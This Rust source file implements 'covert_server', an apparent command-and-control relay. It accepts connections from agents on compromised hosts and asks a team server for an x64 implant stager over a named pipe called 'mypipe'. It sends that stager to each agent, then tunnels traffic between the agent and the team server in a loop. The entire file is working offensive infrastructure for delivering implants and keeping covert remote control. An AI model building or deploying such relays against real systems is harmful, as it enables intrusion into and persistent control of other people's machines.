use clap::Parser;
use covert_server::CSFrame;
use tokio::{
    net::{TcpListener, TcpStream},
    task, try_join,
};

#[derive(Parser, Debug)]
#[clap(name = "covert_server")]
#[clap(author = "Matthew \"Oscar\" Howard")]
#[clap(version = "1.0")]
#[clap(about = "Does awesome things", long_about = None)]
struct Args {
    #[clap(long, default_value_t = String::from("localhost:2222"), value_parser)]
    ts: String,
    #[clap(long, default_value_t = String::from("0.0.0.0:5555"), value_parser)]
    bind: String,
}

#[tokio::main]
async fn main() {
    if let Err(e) = try_join!(agent_server_task()) {
        println!("{}", e);
    };
}

async fn agent_server_task() -> Result<(), Box<dyn std::error::Error>> {
    let args = Args::parse();
    let listener = TcpListener::bind(&args.bind).await?;
    println!(
        "Running...\nListening: {}\nTeam Server: {}",
        args.bind, args.ts
    );
    loop {
        let ts_addr = args.ts.clone();
        let (stream, _) = listener.accept().await?;
        task::spawn(async move {
            if let Err(e) = handle_agent_connection(stream, &ts_addr).await {
                println!("connection error: {}", e);
            };
        });
    }
}

async fn handle_agent_connection(
    mut agent_conn: TcpStream,
    ts_addr: &str,
) -> Result<(), Box<dyn std::error::Error>> {
    let (implant, mut ts_conn) =
        covert_server::start_implant_session(ts_addr, "x64", "mypipe").await?;
    agent_conn.write_frame(&implant).await?;
    println!("Got stager from ts, bytes:{}", implant.len());
    loop {
        let data_from_agent = agent_conn.read_frame().await?;
        ts_conn.write_frame(&data_from_agent).await?;
        let data_from_ts = ts_conn.read_frame().await?;
        agent_conn.write_frame(&data_from_ts).await?;
    }
}
